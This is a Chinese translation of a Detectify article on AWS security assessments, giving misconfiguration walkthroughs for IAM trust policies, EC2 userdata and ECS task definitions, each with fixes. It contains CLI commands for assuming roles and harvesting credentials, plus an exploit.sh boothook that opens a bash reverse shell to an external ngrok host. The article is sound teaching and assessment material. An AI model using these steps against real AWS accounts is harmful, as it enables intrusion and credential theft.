核心 AWS 服务中的常见安全漏洞：利用和缓解

50977

本文为译文，原文地址：https://labs.detectify.com/2022/07/25/aws-services-security-vulnerabilities-exploitation-remediation

精华：在这个快速数字化的世界中，公司正在从传统的本地部署转向云服务提供商来处理他们的基础设施。在本文中，我们将讨论 AWS 服务中导致安全漏洞的一系列常见错误配置。

谈到云安全，在将资源/应用程序/服务部署到公司的生产环境之前，可以执行几种类型的成熟度评估。因此，了解在使用Amazon Web Services (AWS)云环境时可以进行哪些类型的评估是非常重要的。三种评估类型包括:

云安全威胁建模:在服务/应用程序投入生产之前，预防所有主要的安全威胁。这可以通过执行安全设计审查和使用产品需求文档(Product Requirements Document, PRD)图来映射所有重要的数据流来实现。与产品团队一起使用安全问卷也很重要。这种评估帮助公司了解可能存在的攻击表面和漏洞，或者在正式上线之前可能发生的攻击。

云渗透测试(内部和外部):渗透测试旨在消除云环境中所有已知的与应用程序和网络安全相关的漏洞。这些测试还有助于组织防止敏感数据暴露。

云配置审查:在这种类型的评估中，公司试图防止与配置相关的漏洞，这些漏洞可能导致对秘密或受保护资源的未经授权访问，以及权限升级和获得对云环境访问的其他方法。

AWS安全评估

理解部署到云中的总体范围和资源是很重要的。在开始进行安全评估之前，有必要关注以下几点:

AWS 资源的范围
扩展攻击面
确定关键任务服务
AWS 资产侦察
了解资产的安全控制和监控

AWS资源的范围

资源范围界定是开始任何云参与之前的关键步骤。此步骤的主要目标是概述在 AWS 中部署的可能资源，例如服务数量、弹性计算云 (EC2) 实例、内部和外部 IP、API 以及许多虚拟私有云 (VPC) 资产、子网、身份和访问管理 (IAM) 用户和角色。

尝试围绕公司基础设施的映射和 PRD 图收集尽可能多的文档。我们还可以使用多种工具和 IAM 角色来枚举 AWS 中存在的可能服务。有许多不同的工具可以确定 AWS 中使用的资源或服务列表。还有许多工具可让您枚举、发现和映射 AWS 资源；以下是我最喜欢的一些：

扩展攻击面

在最初的确定范围阶段之后，为交战准备攻击策略是很重要的。在开始评估之前，这一步是必要的，以确保针对AWS中的特定服务和资源覆盖大多数测试用例。

此步骤的最终目标是确保质量控制，测试用例的全面覆盖，并解释更复杂的测试用例。例如，一个复杂的测试用例可能涉及发现攻击者如何利用服务中的错误配置，并将攻击升级为更关键的问题，如加密挖掘、基础设施的管理访问、后门服务(Lambda)，或获得对服务的未经授权的访问。

在 AWS 中确定关键任务服务

在 AWS 评估期间，了解不同服务的使用案例并确定任何相关问题至关重要。在开始审计之前，主要目标应该是映射 EC2、Lambda、IAM、RDS 和 S3 等关键服务。重要的是优先评估和分析这些核心服务是否存在任何已知的错误配置问题或已知的常见漏洞。

例如，在规划AWS中什么是关键服务时，可以问自己以下几个问题:

服务是否包含某种形式的敏感数据?
该服务是否处理身份验证和授权过程?
是否有与此服务相关联的api ?
哪些服务提供者委派了对资源的访问?
哪些机构在储存秘密，我们该如何处理?
如果哪些服务包含已知的应用程序安全漏洞，它们将面临暴露的风险?

对AWS资产的侦察

在接下来的步骤中，您需要执行侦察并列出或枚举所有公共端点，以查找可能全局公开的资源。这个步骤还帮助公司了解他们拥有什么样的公共公开，并根据IP、域、S3桶、CloudFront服务、弹性负载平衡(ELB)、公共快照(例如。弹性块存储(EBS)或其他数据库)，以及可用于跨帐户角色枚举的Amazon帐户id。

了解安全控制和监控

此步骤涵盖公司如何监控、反应和处理安全事件。它建立了一个基线，用于评估如果发生入侵，是否存在所有必要的控制措施。在此步骤中，检查是否存在以下安全控制非常重要：

CloudWatch – 用于监控和优化资源
CloudTrail – 用于跟踪所有恶意 API 调用
配置最佳实践——检查资源的合规性和配置更改
S3 日志– 存储 S3 日志

我们希望确保正确管理不同的解决方案，并确保它们准确地执行各自的安全任务。这很重要，因为如果在 AWS 环境中出现任何问题，这些服务就是您的第一道防线。

AWS 服务的标识

既然我们已经从高层次上介绍了 AWS 安全评估，博客的这一部分将深入探讨一些常见 AWS 核心服务的更多细节，并深入了解这些不同服务中可能出现的漏洞类型. 我们将介绍的 AWS 核心服务如下：

身份和访问管理 (IAM)
API 网关
Lambda
弹性计算云 (EC2)

身份和访问管理 (IAM)

IAM 服务用于使用 JSON 策略格式的访问控制机制来管理和委派对资源的访问。如果攻击者可以访问 IAM 服务中使用的 AWS 访问密钥，那么他们可以利用多个错误配置并提升他们的权限、更改 IAM 账户的密码，或者通过现有 IAM 访问 S3 或 Lambda 环境变量中的敏感信息政策。IAM 中一些较为知名的漏洞和错误配置包括：

错误配置的信任策略
跨账户角色枚举
过于宽松的策略
危险的政策组合
传递角色

API 网关

API 网关是一项完全托管的 AWS 服务，可用于不同的 AWS 服务，例如 Lambda、Kinesis 和 EC2。API 网关服务用于开发、维护、发布和管理 RESTful API 和 webSocket。API 网关中的一些常见问题是：

端点上缺乏身份验证
错误配置的私有 API 端点
拒绝服务 (DoS)
授权者功能不佳

Lambda

Lambda 服务允许您在不管理服务器的情况下运行代码，并自动为您处理计算、自动扩展和容量预置。在 Lambda 中，您可以运行或执行函数来完成任务。为此，您需要调用 Lambda API 或使用 AWS 服务/资源来调用您的函数。Lambda 中的常见漏洞有：

常见的应用程序安全漏洞，例如服务器端请求伪造 (SSRF)、XML 外部实体 (XXE) 攻击、反序列化和命令注入
不安全的第三方依赖
使用 Lambda 作为后门
拒绝服务 (DoS) 载体，例如 AWS VPC IP 欺骗或财务资源耗尽技术
Lambda 别名路由

弹性计算云 (EC2)

EC2 服务用于部署可以在 AWS 云环境中运行应用程序的服务器或计算机的虚拟实例。使用 EC2 实例，可以在 AWS 中启动多个服务器或实例来部署您的资源。与 EC2 相关的常见问题是：

公开敏感信息的用户数据脚本，例如 SSH 密钥、AWS 密钥、机密或令牌
公共弹性块存储 (EBS) 快照
未加密的 EBS 卷和快照
SSRF 导致元数据泄露
利用开放端口和暴露服务

常见的 AWS 错误配置

在 AWS 环境中最常见的三个 AWS 配置错误问题中，我们将深入探讨个别配置错误、一种攻击方法以及可以采取哪些补救措施来防止这些类型的攻击。我们将在本节中介绍以下漏洞：

IAM 配置错误的信任策略
EC2用户数据泄露导致敏感信息泄露
从 Elastic Container Service (ECS) 任务定义中转储硬编码机密

IAM 配置错误的信任策略

要了解此漏洞，我们首先需要了解信任策略及其组件。信任策略是一个 JSON 文档，可确保只有允许或“受信任”的委托人才能担任 IAM 角色。对于承担 IAM 角色的用户，他们需要将 sts:AssumeRole 权限附加到他们的 IAM 用户账户。从这里，用户能够执行在 IAM JSON 策略中为该角色定义的所有必要操作。

当 AWS Principal 参数设置为通配符（“*”或“?”）时，会出现配置错误，这允许所有 IAM 实体用户承担角色并执行将在 IAM 角色策略中定义的操作。这种过于宽松的错误配置允许公司中的任何用户担任 IAM 角色，并且从这里，任何用户都可以升级权限以获得管理访问权限。

易受攻击的 IAM 信任政策

例如，以下是带有通配符集的 IAM 信任策略：

{

"Version": "2012-10-17",

"Statement": [

     {

         "Effect": "Allow",

         "Principal": {

             "AWS": "*"

         },

         "Action": "sts:AssumeRole",

         "Condition": {}

     }

]

}

利用 IAM 配置错误的信任

为了证明攻击者可以滥用此通配符并提升权限，让我们逐步介绍一个攻击场景：

使用 AWS CLI，使用命令“aws sts get-caller-identity –profile test_user”检查用户账户：

在 AWS CLI 中识别用户账户

使用命令“aws iam list-roles –profile test_user”检查所有角色的 IAM 信任策略：

识别 IAM 信任策略中的所有角色

从中我们可以看到角色名称 s3-production-access，其 AWS Principal 为**“\*”** ，如下图所示：

AWS Principal 角色设置为通配符

在 IAM 角色策略中，可以使用命令 aws iam list-attached-role-policies –role-name s3-production-access –profile test_user 来验证此角色具有哪些权限：

验证权限级别

从这里我们可以看到，在担任此角色后，我们可以获得对生产 S3 存储桶的完全访问权限。因此，要承担这个角色，我们需要使用以下命令来使用安全令牌服务 (STS)：

aws sts assume-role –role-arn “arn:aws:iam::290338565208:role/s3-production-access” –role-session attack –profile test_user

一旦我们配置了访问密钥、秘密访问密钥和会话令牌，我们就可以使用以下命令验证我们是否可以访问该角色：

aws sts get-caller-identity –profile iam_attack

这在下图中得到验证：

验证对 S3 存储桶的访问权限

现在我们可以列出并访问 production-secret-data 存储桶，并通过运行以下命令 aws s3 ls –profile iam_attack 获取文件内容，如图 6 所示。从这里，我们可以访问用户名和账号密码，如下图：

运行命令以访问“production-secret-data”存储桶

访问用户名和密码

修复

要修复此 IAM 信任策略配置错误，必须限制在 Principal 参数中使用通配符 ( “*” )。始终确保允许有效的 IAM 实体在组织中担任 Principal 的角色。

正确的策略格式如下所示：

{

  "Version": "2012-10-17",

  "Statement": [

   {

       "Effect": "Allow",

       "Principal": {“AWS": "arn:aws:iam::123456789012:authorized" },

       "Action": "sts:AssumeRole",

       "Condition": { "Bool": { "aws:MultiFactorAuthPresent": "true" } }

   }

  ]

}

此示例配置正确，因为它具有有效的 Principal 和 Condition 参数，这确保没有其他 IAM 用户可以担任此角色。此配置还确保用户为使用此角色启用了多重身份验证 (MFA)。

EC2 用户数据泄露导致敏感信息泄露

在启动过程中，可以在 EC2 实例的运行过程中部署或执行 bash 脚本。此脚本仅在引导过程中运行，但它确实以 root 用户权限运行。有时我们注意到开发人员可以在启动过程中自动执行某些任务，例如安装软件、更新实例和设置环境变量。

攻击者在评估 AWS 环境时可以查看启动过程中的这些数据，其中包括 AWS 访问密钥、用户名、密码和环境变量。攻击者可以使用这些 AWS 凭证创建多个实例，并向 AWS 基础设施中的实例添加后门或 shell。

在 EC2 中利用用户数据：

首先，我们需要使用命令“aws ec2 describe-instances –profile test_account –region us-east-1”来识别指定区域中 AWS 账户中的所有实例：

识别指定区域中的 AWS 账户 InstanceId

使用图 8 中的“InstanceId”，我们可以使用命令“aws ec2 describe-instances –instance-id i-0cf93849d3d84f670 –attribute userdata –profile test_account –region us-east-1”从 EC2 实例中检索“userdata”信息`:

检索到的“userdata”信息显示用 base64 编码的字符串

从这里，我们可以解码 base64 字符串，获取实例用户的用户名和密码，因为它在启动过程中被硬编码在 userdata 脚本中：

解码 Base64 数据

现在我们有了这个用户的用户名和密码，我们可以通过尝试修改实例的属性来从这个漏洞中获得一个反向 shell。为此，我们需要篡改实例属性。为此，我们可以运行以下命令：aws ec2 modify-instance-attribute –instance-id [target instance] –attribute userData –value file://exploit.sh

Exploit.sh

#cloud-boothook

#!/bin/bash

bash -i >& /dev/tcp/6.tcp.ngrok.io/11404 0>&1

python -c 'import pty; pty.spawn("/bin/bash")'

为了触发此事件，受害用户必须重新启动实例，这将执行脚本并在终端上为我们提供简单的反向 shell，如下所示：

获得反向shell

修复

可以遵循一些最佳实践来修复这种攻击：

避免使用 ec2:ModifyInstanceAttribute 权限并限制开发团队硬编码敏感值，例如环境变量、AWS 访问密钥和凭证
将最小权限原则应用于分配给用户和实例的所有角色。
实施适当的出口控制，以尽量减少使用反向 shell 和下载恶意负载。这涉及默认禁用安全组的所有出站通信。

从 ECS 任务定义中转储硬编码机密

弹性容器服务 (ECS) 是一项允许用户托管容器化应用程序的服务，它是 AWS Managed Services 的一部分。ECS 有 2 种不同的启动类型：Fargate 和 EC2。在 ECS 上创建和部署应用程序之前，我们需要启动集群。集群被定义为对任务或服务进行分组的逻辑方式，而容器是您的实际应用程序，将在您的 ECS 集群中执行。

要拥有容器，我们需要在包含应用程序摘要或蓝图的 JSON 文档中定义任务定义。任务被定义为集群中任务定义的实例化。当开发团队在命令行中添加凭据和令牌等敏感信息作为参数创建任务定义时，就会出现此漏洞。

ECS 利用

配置 Pacu 并在会话中添加必要的 AWS 凭证：

配置 Pacu 并添加凭据

要枚举 ECS 集群中的任务，请运行命令 exec ecs__enum：

枚举 ECS 集群内的任务

在这一步之后，我们现在可以尝试使用 Pacu 模块转储所有任务定义：

任务定义转储到文件夹中

任务定义现在已转储到给定文件夹中。现在，我们需要查看任务定义的内容并检查环境变量中的敏感信息，例如 MYSQL 凭据：

检查敏感信息的任务定义

已识别的 MySQL 凭据硬编码到任务定义中

修复

为了降低将数据暴露给第三方的风险，建议不要以未加密的方式存储机密。所有秘密都应该在静止和传输中加密。

结论

在博客中，我们介绍了在 AWS 安全评估期间可以发现的一些漏洞。我们还确定了一些解决方案，有助于在云上部署应用程序时抵御这些类型的攻击。组织必须了解他们将面临的威胁以及在部署任何应用程序时应采取的预防措施。如果在设计阶段实施这些预防性流程，则可以降低 AWS 环境的风险。